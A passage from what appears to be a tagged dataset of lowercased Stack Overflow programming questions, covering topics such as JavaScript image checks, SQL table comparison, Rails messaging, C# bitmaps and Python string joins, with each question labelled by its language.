0x00007fa9464de000)]   0x00007fa94d113000 javathread  elasticsearch[osborn  norman][management][t#1]  daemon [_thread_blocked  id=14098  stack(0x00007fa9464de000 0x00007fa9465df000)]   0x00007fa94d112800 javathread  elasticsearch[osborn  norman][transport_client_boss][t#1]{new i/o boss #9}  daemon [_thread_in_native  id=14097  stack(0x00007fa9467e1000 0x00007fa9468e2000)]   0x00007fa94d110000 javathread  elasticsearch[osborn  norman][transport_client_worker][t#8]{new i/o worker #8}  daemon [_thread_in_native  id=14096  stack(0x00007fa9468e2000 0x00007fa9469e3000)]   0x00007fa94d10f000 javathread  elasticsearch[osborn  norman][transport_client_worker][t#7]{new i/o worker #7}  daemon [_thread_in_native  id=14095  stack(0x00007fa9a024a000 0x00007fa9a034b000)]   0x00007fa94d10d800 javathread  elasticsearch[osborn  norman][transport_client_worker][t#6]{new i/o worker #6}  daemon [_thread_in_native  id=14094  stack(0x00007fa9a0149000 0x00007fa9a024a000)]   0x00007fa94d10c000 javathread  elasticsearch[osborn  norman][transport_client_worker][t#5]{new i/o worker #5}  daemon [_thread_in_native  id=14093  stack(0x00007fa9461db000 0x00007fa9462dc000)]   0x00007fa94d10a800 javathread  elasticsearch[osborn  norman][transport_client_worker][t#4]{new i/o worker #4}  daemon [_thread_in_native  id=14092  stack(0x00007fa9a0048000 0x00007fa9a0149000)]   0x00007fa94d109800 javathread  elasticsearch[osborn  norman][transport_client_worker][t#3]{new i/o worker #3}  daemon [_thread_in_native  id=14091  stack(0x00007fa947dfe000 0x00007fa947eff000)]   0x00007fa94d0de800 javathread  elasticsearch[osborn  norman][transport_client_worker][t#2]{new i/o worker #2}  daemon [_thread_in_native  id=14090  stack(0x00007fa947eff000 0x00007fa948000000)]   0x00007fa94d0dd800 javathread  elasticsearch[osborn  norman][transport_client_worker][t#1]{new i/o worker #1}  daemon [_thread_in_native  id=14089  stack(0x00007fa9465df000 0x00007fa9466e0000)]   0x00007fa94d0da000 javathread  elasticsearch[osborn  norman][scheduler][t#1]  daemon [_thread_blocked  id=14088  stack(0x00007fa92b7f8000 0x00007fa92b8f9000)]   0x00007fa94d0dc800 javathread  elasticsearch[osborn  norman][[timer]]  daemon [_thread_blocked  id=14087  stack(0x00007fa9a0fee000 0x00007fa9a10ef000)]   0x00007fa94c9c0000 javathread  timer-1  daemon [_thread_blocked  id=14086  stack(0x00007fa9a0eed000 0x00007fa9a0fee000)]   0x00007fa940085000 javathread  http-bio-8084-exec-13  daemon [_thread_blocked  id=14085  stack(0x00007fa947cfd000 0x00007fa947dfe000)]   0x00007fa938002000 javathread  metrics-meter-tick-thread-2  daemon [_thread_blocked  id=14084  stack(0x00007fa92b4f5000 0x00007fa92b5f6000)]   0x00007fa9b8256000 javathread  ajp-bio-8009-asynctimeout  daemon [_thread_blocked  id=14069  stack(0x00007fa944283000 0x00007fa944384000)]   0x00007fa9b8254000 javathread  ajp-bio-8009-acceptor-0  daemon [_thread_in_native  id=14068  stack(0x00007fa9a09e8000 0x00007fa9a0ae9000)]   0x00007fa9b8252000 javathread  http-bio-8084-asynctimeout  daemon [_thread_blocked  id=14066  stack(0x00007fa9a0bea000 0x00007fa9a0ceb000)]   0x00007fa9b85d8000 javathread  http-bio-8084-acceptor-0  daemon [_thread_in_native  id=14065  stack(0x00007fa9a0ceb000 0x00007fa9a0dec000)]   0x00007fa9b8250000 javathread  containerbackgroundprocessor[standardengine[catalina]]  daemon [_thread_blocked  id=14064  stack(0x00007fa9a0dec000 0x00007fa9a0eed000)]   0x00007fa96d1cf000 javathread  hashed wheel timer #1  [_thread_blocked  id=14026  stack(0x00007fa946ee8000 0x00007fa946fe9000)]   0x00007fa934004000 javathread  new i/o client worker #1-1  [_thread_in_native  id=14025  stack(0x00007fa946fe9000 0x00007fa9470ea000)]   0x00007fa96cbc5800 javathread  metrics-meter-tick-thread-1  daemon [_thread_blocked  id=14023  stack(0x00007fa9471eb000 0x00007fa9472ec000)]   0x00007fa9b8568000 javathread  gc daemon  daemon [_thread_blocked  id=14000  stack(0x00007fa9a1564000 0x00007fa9a1665000)]   0x00007fa9b80a8000 javathread  service thread  daemon [_thread_blocked  id=13998  stack(0x00007fa9a34f3000 0x00007fa9a35f4000)]   0x00007fa9b80a6000 javathread  c2 compilerthread1  daemon [_thread_blocked  id=13997  stack(0x00007fa9a35f4000 0x00007fa9a36f5000)]   0x00007fa9b80a3000 javathread  c2 compilerthread0  daemon [_thread_blocked  id=13996  stack(0x00007fa9a36f5000 0x00007fa9a37f6000)]   0x00007fa9b80a0800 javathread  jdwp event helper thread  daemon [_thread_blocked  id=13995  stack(0x00007fa9a37f6000 0x00007fa9a38f7000)]   0x00007fa9b809d000 javathread  jdwp transport listener: dt_socket  daemon [_thread_blocked  id=13994  stack(0x00007fa9a38f7000 0x00007fa9a39f8000)]   0x00007fa9b8088000 javathread  signal dispatcher  daemon [_thread_blocked  id=13993  stack(0x00007fa9a3bfc000 0x00007fa9a3cfd000)]   0x00007fa9b8072800 javathread  finalizer  daemon [_thread_blocked  id=13992  stack(0x00007fa9a3cfd000 0x00007fa9a3dfe000)]   0x00007fa9b806e800 javathread  reference handler  daemon [_thread_blocked  id=13991  stack(0x00007fa9a3dfe000 0x00007fa9a3eff000)]   0x00007fa9b800c800 javathread  main  [_thread_in_native  id=13981  stack(0x00007fa9be0a8000 0x00007fa9be1a9000)]  other threads:   0x00007fa9b806c000 vmthread [stack: 0x00007fa9a3eff000 0x00007fa9a4000000] [id=13990]   0x00007fa9b80b2800 watcherthread [stack: 0x00007fa9a33f2000 0x00007fa9a34f3000] [id=13999]  vm state:not at safepoint (normal execution)  vm mutex/monitor currently owned by a thread: none  heap  psyounggen      total 240640k  used 192461k [0x00000000ec100000  0x00000000ffc00000  0x0000000100000000)   eden space 222208k  78% used [0x00000000ec100000 0x00000000f6b01448 0x00000000f9a00000)   from space 18432k  99% used [0x00000000f9a00000 0x00000000fabf2068 0x00000000fac00000)   to   space 50176k  0% used [0x00000000fcb00000 0x00000000fcb00000 0x00000000ffc00000)  paroldgen       total 111616k  used 80946k [0x00000000c4400000  0x00000000cb100000  0x00000000ec100000)   object space 111616k  72% used [0x00000000c4400000 0x00000000c930cbe0 0x00000000cb100000)  pspermgen       total 79360k  used 78781k [0x00000000bf200000  0x00000000c3f80000  0x00000000c4400000)   object space 79360k  99% used [0x00000000bf200000 0x00000000c3eef4d8 0x00000000c3f80000)  card table byte_map: [0x00007fa9b3a6f000 0x00007fa9b3c77000] byte_map_base: 0x00007fa9b3476000  polling page: 0x00007fa9be1c4000  code cache  [0x00007fa9b3c77000  0x00007fa9b42e7000  0x00007fa9b6c77000)  total_blobs=1954 nmethods=1377 adapters=537 free_code_cache=42692kb largest_free_block=43610752 </code></pre>,java
how to check an array of image sources for url validation  i have a website that displays from an array s index a shuffled ordering of images  one by one. i m looking for a way to check the images all at once with a simple function  using <code>onerror</code> most likely  to make sure the images still exist at their locations  and to alert me if they don t  but i m not sure how to do it. i ve tried fiddling around with <code>foreach()</code>. i m not sure what i m doing wrong or right.   <pre><code>var backinfo = [ { image:  https://dfep0xlbws1ys.cloudfront.net/thumbs71/df/71dfd3bb82eb215b00dd0bf1eb1be93d.jpg response-cache-control=max-age=2628000   artist:  http://loish.net/dawn/   caption:  breathe by lois van baarle aka loish  }   { image:  http://66.media.tumblr.com/0d5f88148461e33581ca4120d02d38d4/tumblr_nn8q8ypofl1s8p1hwo1_1280.jpg     artist:  http://cobaltplasma.tumblr.com/post/117141857207/finally-finished-the-companion-piece-to-another     caption:  the storm king by denjin108  }  . . . </code></pre>   it goes on like that for quite some time. this next part is a shuffle that randomizes the images uniquely  which i didn t write.   <pre><code>function shuffle(array) {   var m = array.length  t  i;   while (m) {     i = math.floor(math.random() * m--);     t = array[m];     array[m] = array[i];     array[i] = t;   }  return array; } </code></pre>   and then this part gets the keys so  one by one  when an image is clicked  it performs the <code>pop()</code> function on variable <code>mix</code>. it took me a while to learn that <code>object.keys()</code> was what i was looking for to do that.   <pre><code>var mix = shuffle(object.keys(backinfo)); </code></pre>   this is my javascript in total: <a href= http://www.dreamquest.io/javascript.js  rel= nofollow >http://www.dreamquest.io/javascript.js</a>    and the live webpage: <a href= http://www.dreamquest.io/  rel= nofollow >http://www.dreamquest.io/</a>,javascript
sql query to check whether the values are same in two tables  i got a table like this:   <pre><code>spsscode  spssdescription   brpcode    brpdescripton  1         cash deposit      x          cash deposit 7         withdraw          y          withdraw 8         cheque deposit    w          cheque deposit 9         bank transfer     v          bank transfer </code></pre>   here in front end of it  the input code is spss and it stores the information in the form of brp code in database (as defined in table)    now i have got a new release where changes are not made to this table  so i have to write a query to check whether the new table in latest version is exactly same as old table or not (i.e 1 = x  7 = y  8 = w  9 = v).      in a way that i can select spss code and brp code from old table and check them against these codes in new table,sql
cmdevicemotion stops updating when the app is brought back to foreground from background  i start device motion updates in the foreground. when i put the app to background by locking the phone  i continue to get updates but when i unlock my phone  device motion stops updating. accelerometer gyroscope and location updates are working fine both in background and when i bring it back to foreground.     i am using cmmotionmanager for getting accelerometer gyroscope and device motion. i am reading the pitch  roll and yaw values from device motion.,ios
jquery ajax submit callback get this closet <pre><code>$(document).on( click    #file-submit   function () {      $.ajax({         url: url          type:  post           cache: false          data: formdata          processdata: false          contenttype: false     }).done(function (data  status  jqxhr) {         //here will be get a error         var nextid = $(this).parents( .tab-pane ).next().attr( id );         alert(nextid);      }).fail(function (data  status  jqxhr) {         console.log( error );     }); }) </code></pre>   threr is a button in page  when the page submited  i will get the value in the form element  but the i cant get  please give some point  thanks.,jquery
how to share software built with ruby on rails without revealing code  i had a question with regards to software built on ruby on rails. i m on the business end of an incubation team that has a few projects in the works  all built on ruby on rails. the goal from the investor was to sell the software out to third parties and have them use the platforms to their liking. from what i can tell though  there is no way to compile ruby code and send it off to a third party  hiding the actual code from them.     we do not want our clients being able to copy our code and take it from us. is there any actual solution to this problem  or are we screwed because they already decided to develop on ruby  we wanted to be able to sell software as a service  but that s not going to work out if a client can sign up for a month  copy our code  and then build their own solution.    thanks for any help in advance.,ruby-on-rails
"how to make value - same after key in and selected  need help.    i want to make content input are same as keyin when selected and disable dropdown when edit at textarea.    currently  content will appear after dropdown. when key-in at textarea and select that list  its not appears same as key-in at top when close. after select that list  when try to key-in  dropdown will open. how to disable it.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>$(document).on( click    .btn-select   function (e) {
     e.preventdefault();
     var ul = $(this).find( ul );
     if ($(this).hasclass( active )) {
         if (ul.find( li ).is(e.target)) {
             var target = $(e.target);
             target.addclass( selected ).siblings().removeclass( selected );
             var value = target.html();
             $(this).find( .btn-select-input ).val(value);
             $(this).find( .btn-select-value ).html(value);
         }
         ul.hide();
         $(this).removeclass( active );
     }
     else {
         $( .btn-select ).not(this).each(function () {
             $(this).removeclass( active ).find( ul ).hide();
         });
         ul.slidedown(300);
         $(this).addclass( active );
     }
 });
  
 $( .dropinput ).click(function(e) {
           e.stoppropagation();
     });</code></pre>
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.form-control {
     background-color: #fff;
     background-image: none;
     border: 1px solid #e9e9e9;
     border-radius: 3px;
     box-shadow: none;
     color: #4f5858;
     display: block;
     font-size: 13px;
     height: 34px;
     line-height: 1.42857;
     padding: 6px;
     transition: border-color 0.15s ease-in-out 0s  box-shadow 0.15s ease-in-out 0s;
     width: 100%;
  font-weight: normal;
  margin: 0px;
 }
 
 .form-control:focus {
     border-color: #b6b6b6;
     box-shadow: none;
     outline: 0 none;
 }
 
 .close {
     color: #4f5858;
  text-shadow: none;
  font-weight: normal;
  font-size: 26px;
  opacity: 1.0;
 }
 
 .close:hover  .close:focus {
     color: #000;
     opacity: 0.5;
 }
 
 .form-control::-moz-placeholder {
     color: #4f5858;
 }
 
 .btn-grey {
     background-color: #fff;
     border: 1px solid #e9e9e9;
     border-radius: 50%;
     color: #4f5858;
     cursor: pointer;
     display: block;
     font-weight: 300;
     height: 60px;
     margin: 0px auto 0;
     text-align: center;
     text-transform: uppercase;
     transition: opacity 0.25s ease-in-out 0s;
     width: 60px;
  font-size: 11px;
  display: inline;
 }
 
 .btn-grey:hover {
     border: none;
     color: #fff;
  background-color: #f05423;
 }
 
 .btn-select {
     position: relative;
     padding: 6px;
     width: 100%;
     border-radius: 3px;
 }
 
 .btn-select .btn-select-value {
     padding: 2px 6px;
     display: block;
     position: absolute;
     left: 0;
     right: 35px;
     text-align: left;
     text-overflow: ellipsis;
     overflow: hidden;
     border: none !important;
 
 }
 
 .btn-select .btn-select-arrow {
     float: right;
     line-height: 18px;
     padding: 3px 10px;
     top: 0;
  font-size: 10px;
 }
 
 .btn-select ul {
     display: none;
     background-color: #fff;
     color: #4f5858;
     clear: both;
     list-style: none;
     padding: 0;
     margin: 0;
     position: absolute;
     right: -0.5px;
  left: -1px;
     top: 33px;
     z-index: 999;
 }
 
 .btn-select ul li {
     padding: 6px;
     text-align: left;
  background-color: #fff;
  display: flex;
 }
 
 .btn-select ul li:hover {
     background-color: #fff;
  color: #f05423;
 }
 .btn-select ul li span {
  color: #b3b3b3;
  position: absolute;
  left: 10px;
 }
 
 .btn-select ul li.selected {
     color: #f05423;
 }
 
 
 .btn-select.btn-default:hover  .btn-select.btn-default:active  .btn-select.btn-default.active {
     border-color: #b6b6b6;
  background-color: #fff;
 }
 
 .btn-select.btn-default ul li.selected {
     background-color: #fff;
 }
 
 .btn-select.btn-default ul  .btn-select.btn-default .btn-select-value {
     background-color: transparent;
     border: #b6b6b6 1px solid;
  border-top: 0px;
 }
 
 .btn-default {
     color: #4f5858;
     background-color: #fff;
     border-color: #e9e9e9;
  font-size: 13px;
  font-weight: normal;
 }
 .btn.active  .btn:active {
     -webkit-box-shadow: none;
     box-shadow: inone;
 }
 
 .btn-default span {
     color: #4f5858;
 }
 .btn-select.btn-default ul li.selected span {
     color: #4f5858;
 }
 
 textarea.form-control {
     height: 100px;
 }
 
 .dropinput {
     color: #000;
  background-color: #ebebeb;
  border: none;
  padding: 2px 5px;
  margin-left: 10px;
  width: 170px;
  font-size: 12px;
 }
 
 .oth {
  width: 300px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;link href= https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css  rel= stylesheet /&gt;
 &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;div class= form-group &gt;
           &lt;a class= btn btn-default btn-select &gt;
                 &lt;input class= btn-select-input  type= hidden &gt;
                 &lt;span class= btn-select-value &gt;purpose of enquiry&lt;/span&gt;
                 &lt;span class= btn-select-arrow glyphicon glyphicon-triangle-bottom &gt;&lt;/span&gt;
                 &lt;ul style= display: none; &gt;
                     &lt;li&gt;media &amp; publications&lt;/li&gt;
                     &lt;li&gt;new business collaborations&lt;input maxlength= 30  class= dropinput  type= text  placeholder= please specify project location &gt;&lt;/li&gt;
                     &lt;li&gt;others&lt;input maxlength= 58  class= dropinput oth  type= text  placeholder= please specify &gt;&lt;/li&gt;
                 &lt;/ul&gt;
             &lt;/a&gt;
             &lt;/div&gt;</code></pre>
 </div>
 </div>
     tq",javascript
count total posts each day php  i have a function that counts total posts on the whole website   <pre><code>function posts_count(){  $data=mysql_fetch_assoc(mysql_query( select count(*) as total from posts )); return $data[ total ]; </code></pre>   }    how do i make it count how many new post were posted each day  example  total new post today: 55    i was thinking as i have a date row in the database when a post is posted  i can do something like    <pre><code>function posts_count_today(){        $data=mysql_fetch_assoc(mysql_query( select count(*) as total from posts where date =  $date_today  ));     return $data[ total ]; } </code></pre>   where $date_today is obviously the current day but i am sure there is a better function for that like now() or something,php
why else if is used only one time here   i don t understand a part of this code:   <pre><code>#include &lt;stdio.h&gt;  #define in 1 /* inside a word */ #define out 0 /* outside a word */  /* count lines  words  and characters in input */ main() {       int c  nl  nw  nc  state;        state = out;       nl = nw = nc = 0;       while ((c = getchar()) != eof) {             ++nc;             if (c ==  \n )                ++nl;             if (c ==     || c ==  \n  || c ==  \t )                state = out;             else if (state == out) {                  state = in;                  ++nw;             }             printf( char: %c %x | state: %d | word: %d\n   c  c  state  nw);       }       printf( %d %d %d\n   nl  nw  nc); } </code></pre>   why did they use  else if  only one time and not also for the second time,c
data hiding and objective-c synthesisers  how exactly should attributes be declared if they are needed to be private and the language supports automatic getter/setter method creation     is the only way to override the automatically created getter or setter as needed,objective-c
counter cache count based on active  i seem to be unable to find an answer to this. i ve set up a counter cache   <pre><code> user   belongs_to :company  counter_cache: true </code></pre>   now what i m wondering is can i add a conditional to the counter cache. for instance  i d like for the counter cache to be based on if <code>user.active </code> as accounts can be disabled.,ruby-on-rails
how can i use getpixel to create new image from a picturebox.image and a bitmap bmp   im trying to use graphics.drawimage but im getting black image and on it the red points im drawing. why im getting the black image      this is the function:   <pre><code>public bitmap savefrompictureboxtobitmap(bitmap image1  image pbox)         {              graphics g = graphics.fromimage(image1);             point p = new point(pbox.width pbox.height);             g.drawimage(pbox  p);             image1.save(@ d:\pictureboxtobitmap\ptob.bmp   system.drawing.imaging.imageformat.bmp);             return newimage;         } </code></pre>   image1 is the bmp variable wich im drawing to in the paint event. and pbox is just picturebox1.image and im using this function in the trackbar1 scroll event.    this is what im getting im adding a screenshot here:    <img src= https://i.stack.imgur.com/s6ffs.png  alt= enter image description here >    on the background instead black i need to get the image from the picturebox1 but it dosent work why,c#
html base app on appstore  anybody can solve my confusion i have opened a url in webview (which is responsive for mobile ) then all        functionality is performing fine        like website how can i make approve this by apple   <pre><code> nsstring *urladdress = @ http://www.ideamasale.com/ ;   nsurl *url = [nsurl urlwithstring:urladdress];   nsurlrequest *requestobj = [nsurlrequest requestwithurl:url];   [detailwebview loadrequest:requestobj]; </code></pre>   would apple app review approve this app for appstore,ios
access session object at session_end event in globle.asax file  i want to access session variable at session_end event of globle.asax file.but htppcontext.current returns null. please suggest any other way.   <pre><code>protected void session_end(object sender  eventargs e)         {            if (httpcontext.current != null)             {                 httpcontext ht = httpcontext.current;                  string username = ht.session[ username ].tostring();             }         } </code></pre>,asp.net
how to track http referrer across post back   i have a page in my website that can be reached from several other pages.  on this page i have a cancel button and when people click that i would like to execute some code on the server and then redirect back to the page they came from.    i was trying to do this by referencing request.urlreferrer  but once a post back occurs  this is set to the current page.    i have come up with a workaround using session state:   <pre><code>protected void page_load(object sender  eventargs e) {     if (!page.ispostback)     {           session[ referrer ] = request.urlreferrer.absoluteuri;     } }  btn_cancel_click(object sender  eventargs e) {     //some other code and then the line below:     response.redirect(session[ referrer ]); } </code></pre>   but i m curious if there is a more graceful way to do this without using session state.  can anyone suggest a better solution for this,asp.net
default month in ajax calendarextender in asp.net  i have two textboxes named  checkin date  and  checkout date  having calenderextender bind.    i want to set the default month display in  checkout date  on textchange of  checkin date .    and on  checkout  textchange event i am calculating days between this two textboxes.    plz help me.......,.net
how can i figure out kernelbase.dll error   i am getting following error from my windows application. the exception i couldn t figure out why it is coming because the particular error is not log in my exception logger file.   <pre> application name has failed: test.exe  version:1.0.0.15  time stamp: 0x51481394 failing module name: kernelbase.dll  version:6.1.7601.18015  time stamp: 0x50b83b16 exception code :0xe053534f fault offset :0x0000812f process id has failed:0x% 9 the start time of the applications are failing:0x% 10 application path has failed :% 11 module path has failed :% 12 report id:% 13 </pre>   please find below code   <pre><code>private void frmsettime_load(object sender  eventargs e) {     try     {         string[] cmds = system.environment.getcommandlineargs();         //here i gets command line arguments     }     catch (exception ex)     {         messagebox.show(ex.message);     }     finally     {         gc.collect();     } }  public void executelogic(object obj) {     try     {         //my set of statements         therad.sleep(5000);         executelogic(obj);     }     catch (exception ex)     {         messagebox.show(ex.message);     }     finally     {         gc.collect();         applicationrestart();     } }  private void applicationrestart() {     try     {         if (process.getcurrentprocess().workingset64 &gt;= 10000000)         {                                      application.restart();                             }     }     catch (exception ex)     {         messagebox.show(ex.message);     } } </code></pre>,c#
how to return a single char from a function  i am relatively new to programming; i am in an intro to c++ course in college.    how would i go about returning a single char from a function back to the main  i haven t seen any posts that answer this question simply enough for me to understand.    thanks in advance!     for those interested  this is the code that i wrote that caused me to ask this question. (note: my prof tells us to include cstdlib and iostream in all programs  and to put <code>using namespace std</code> before the main. i already saw several posts that say not to use this  but this is how my prof has us write our programs.)   <pre><code>char evaluate(int score){ /*receives an int score out of 100 from main  and determines what letter grade to return */ if (score &gt;= 90 &amp;&amp; score &lt;= 100)   return  a ; else if (score &gt;= 80 &amp;&amp; score &lt;= 89)   return  b ; else if (score &gt;= 70 &amp;&amp; score &lt;= 79)   return  c ; else if (score &gt;= 65 &amp;&amp; score &lt;= 65)   return  d ; else   return  f ; } </code></pre>   when i do this  i get  error: invalid conversion from  const char*  to  char  [-fpermissive]     any ideas why,c++
prevent users from displaying previously visited pages without clearing cache  i want to prevent users from visiting previously visited pages after logout without clearing cache in rails.,ruby-on-rails
url without  slash  dot  words in it  i m using <code>stringex</code> gem to make url for items  but there is a problem with adding <code> -dot </code> and <code> -slash </code> words to url if name includes characters like <code> . </code>  <code> / </code> and other symbols.     how to turn of this conversion of giving  name  to symbols in the url     if item name: bike 2.2/2.0     url by default: <code>bike-2-dot-2-slash-2-dot-0</code> i need just:  <code>bike-2-2-2-0</code>,ruby-on-rails
@user.received_messages not displaying messages for inbox  i am making a inbox messaging for a rails app. in my _inbox.html file i have  &lt;% @user.received_messages.each do |message| %>  but it is not displaying any of the messages i have sent. there s no error message  just a blank space.    is there another line of coding i should be using to display all messages from inbox     _inbox.html:   <pre><code>&lt;h2&gt;your inbox&lt;/h2&gt; &lt;% @user.received_messages.each do |message| %&gt; no messages in your inbox &lt;% end %&gt; </code></pre>   message model:   <pre><code>class message &lt; activerecord::base     attr_accessible :subject  :body  :sender_id  :recepient_id  :read_at :sender_deleted :recepient_deleted     validates_presence_of :subject  :message =&gt;  please enter message title       belongs_to :sender      :class_name =&gt;  user       :foreign_key =&gt;  sender_id      belongs_to :recepient      :class_name =&gt;  user       :foreign_key =&gt;  recepient_id       # marks a message as deleted by either the sender or the recepient  which ever the user that was passed is.     # when both sender and recepient marks it deleted  it is destroyed.     def mark_message_deleted(id user_id)         self.sender_deleted = true if self.sender_id == user_id and self.id=id         self.recepient_deleted = true if self.recepient_id == user_id and self.id=id         self.sender_deleted &amp;&amp; self.recepient_deleted   self.destroy : save!     end      # read message and if it is read by recepient then mark it is read     def self.readingmessage(id  reader)         message = find(id  :conditions =&gt; [ sender_id =   or recepient_id =     reader  reader])         if message.read_at.nil  &amp;&amp; (message.recepient.user_id==reader)             message.read_at = time.now             message.save!         end         message     end      # based on if a message has been read by it s recepient returns true or false.     def read          self.read_at.nil    false : true     end   end </code></pre>   message controller:   <pre><code>class messagescontroller &lt; applicationcontroller    before_filter :set_user    def index     if params[:mailbox] ==  sent        @messages = @user.sent_messages     elsif params[:mailbox] ==  inbox        @messages = @user.received_messages     #elsif params[:mailbox] ==  archieved       # @messages = @user.archived_messages     end   end    def new     @message = message.new     if params[:reply_to]       @reply_to = user.find_by_user_id(params[:reply_to])       unless @reply_to.nil          @message.recepient_id = @reply_to.user_id       end     end   end    def create     @message = message.new(params[:message])     @message.sender_id = @user_id     if @message.save       flash[:notice] =  message has been sent        redirect_to user_messages_path(current_user  :mailbox=&gt;:inbox)     else       render :action =&gt; :new     end   end    def show     @message = message.readingmessage(params[:id] @user_id)   end    def delete_multiple       if params[:delete]         params[:delete].each { |id|           @message = message.find(id)           @message.mark_message_deleted(@message.id @user_id) unless @message.nil          }         flash[:notice] =  messages deleted        end       redirect_to user_messages_path(@user  @messages)   end    private     def set_user       @user = current_user     end end </code></pre>,ruby-on-rails
communication between asp.net page with silverlight application  after authentication of login page in asp.net it will redirect to silverlight page which exposes the methods using wcf service. when i copy that url and paste in browser it again show the page of silverlight which i don t want  my requirement is when i will copy that url and paste in new browser instance it should redirct to login page in asp.net not to silverlight page.,.net
how do i change the display name of a custom configurationsection   i m building a custom configurationsection for use in a demo application. the name i gave the class inheriting from configurationsection is the section name the application looks for in the config file. how do i change this behavior     here s the skeleton of the class inheriting from <code>configurationsection</code>:   <pre><code>public class longnamebecauseitstheresultoffollowinganotherwisegoodconvention: configurationsection {    ...     } </code></pre>   and in the <code>app.config</code> file it wants to see the following section:   <pre><code>&lt;longnamebecauseitstheresultoffollowinganotherwisegoodconvention&gt;   ... &lt;/longnamebecauseitstheresultoffollowinganotherwisegoodconvention&gt; </code></pre>   how can i use a shorter section name in the <code>app.config</code> yet follow our convention in the source code,.net
in angular js- how to redirect to home page   when user changed url  in angular js   how to redirct the url . when user changed tab1 to tab2 in url  it must be redirect to tab1.,angularjs
output in html rails passed value  i have the fallowing code :   <pre><code>&lt;%= link_to  get started now !  play_path  :alert =&gt;  eroare bla bla bla  :notice =&gt;  e ok   %&gt; </code></pre>   how can i output in html on the  play_path  page the :alert value      my controller looks like this    <pre><code>  def index     @alert = flash[:alert]     @notice = flash[:notice]      end </code></pre>   and in my view i have    <pre><code>&lt;%=@alert %&gt; </code></pre>   it just doesn t display anything   but if in my controller i modify <code>@alert = :blablabla</code>   it displays in my view  blablabla,ruby-on-rails
why does javascript .map() return and extra  undefined  for an object of strings   please can anyone help with where an undefined item is coming from when mapping an object of strings. this is my object followed by the mapping:    <pre><code>function giveadmintasks(){ var item; var arr = [{admintask:  print certificate  lessonno: 0}     {admintask:  study  lessonno: 27}     {admintask:  print certificate  lessonno: 3}     {admintask:  calling record  lessonno: 3}     {admintask: calling record  lessonno: 3}];   arr.map(function(elem){  if(elem.lessonno === 3){  item +=   +   + elem.admintask;  }  }) console.log(item); } </code></pre>   however  this returns a variable that looks like this:      undefined + print certificate + calling record + calling record     i can t figure out where the  undefined  item comes from. this doesn t happen if i just map the object without the  if  statement. can anyone help      <a href= https://stackoverflow.com/questions/17181238/why-can-you-not-return-an-object-to-javascripts-array-map-and-it-map-it-prope >this question</a> talks about map only working on strings  but my object is all strings.,javascript
why does where in run faster when checking multiple ids   i have a simple <code>select</code> query:   <pre><code>select * from mytable where parentid in (0  1) or parentid is null order by sortcolumn limit 0  2048; </code></pre>   why is it that this query runs <strong><em>10x</em></strong> slower when i write <code>where parentid in (1)</code> instead of <code>(0  1)</code>     the query runs faster whether it finds the second id or not.    <strong>edit:</strong>    it looks like running the query checking for 1 element and without the <code>or parentid is null</code> runs just as fast as running the query checking for multiple elements.    <code>parentid</code> is a foreign key to another column and therefore indexed.    why would this matter so much,mysql
how to create html table with css and table properties  i am creating one html table but i am confused with       can any one help me to create table like attached image with color combinations.    thank you.    <img src= https://i.stack.imgur.com/ymgke.png  alt= enter image description here >,html
why this program is returning 10 as the value of j after assigning it to k   where as k=12  the value of j and k in output is 10 and 10. but in this program i ve assigned k=12.       <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt; int main() {     int j=10 k=12;     if(k&gt;=j)     {         {             k=j;             j=k;             printf( %d\n%d  j k);         }     }     getch();     return 0; } </code></pre>,c
why does the joining of two strings produce a type error  <pre><code>class node:     def __init__(self  parent  daughters  edge):         self.parent = parent         self.daughters = daughters         self.edge = edge         trie.append(self)         self.index = len(trie) - 1         trie[parent].daughters.append(self.index)     ...      def suffixtreeconstruction():     global trie     print(len(trie))     for node in trie:         if len(node.daughters) == 1:             node.edge =   .join([node.edge  trie[node.daughters[0]].edge])             ... </code></pre>   i want to take the edges of two different nodes and combine them as a string. the edges are iterations of a string (<code>for base in text: create node with base as edge</code>)  so i assume they are single character strings  not characters (with numerical values). however  they are apparently integers. is there any evident reason for this    <pre><code>traceback (most recent call last):   file  triematching.1.py   line 149  in &lt;module&gt;     suffixtreeconstruction()   file  triematching.1.py   line 106  in suffixtreeconstruction     node.edge =   .join([node.edge  trie[node.daughters[0]].edge]) typeerror: sequence item 1: expected str instance  int found </code></pre>,python
customize the following app.config in c#   i have to parse several comma-separated files containing headers via a generic parser. the headers come in great number  and i need to provide the ability to choose the few headers that matter.     the concrete parsers that implement my generic one for each file type have to override an online(idictionary|string string| line) method among others. this line maps header value to corresponding data in the line.    my problem : i use a comma-separated list in my app.config at the moment. the problem of that is that my concrete parsers will have to use actual header values as keys. i d like to be able to introduce constants  so that no rebuild is necessary in case a header changes.    at the moment my app.config looks like this :   <pre><code>  &lt;configsections&gt;     ...     &lt;section name= headers  type= system.configuration.namevaluesectionhandler  /&gt;     ...   &lt;/configsections&gt;   ...   &lt;headers&gt;     ...     &lt;add key= file1  value= actualheader1 actualheader2 actualheader3  /&gt;     &lt;add key= file2  value= actualheader4 actualheader5 actualheader6  /&gt;     &lt;add key= file3  value= actualheader7 actualheader8 actualheader9  /&gt;     ...   &lt;/headers&gt;   ... </code></pre>   i would need something like (no requirements in terms of what is tag  key  value  just trying to show the logic i am after):   <pre><code>  &lt;configsections&gt;     ...     &lt;section name= headers  type=    /&gt;     ...   &lt;/configsections&gt;   ...   &lt;headers&gt;     ...     &lt;file1&gt;       &lt;add key= headerconstant1  value= actualheader1  /&gt;       &lt;add key= headerconstant2  value= actualheader2  /&gt;       &lt;add key= headerconstant3  value= actualheader3  /&gt;     &lt;/file1&gt;     &lt;file2&gt;       &lt;add key= headerconstant4  value= actualheader4  /&gt;       &lt;add key= headerconstant5  value= actualheader5  /&gt;       &lt;add key= headerconstant6  value= actualheader6  /&gt;     &lt;/file2&gt;     &lt;file3&gt;       &lt;add key= headerconstant7  value= actualheader7  /&gt;       &lt;add key= headerconstant8  value= actualheader8  /&gt;       &lt;add key= headerconstant9  value= actualheader9  /&gt;     &lt;/file3&gt;     ...   &lt;/headers&gt;   ... </code></pre>   the second option would enable changes in the actual header value to find in files without impacting the code.    how can i do 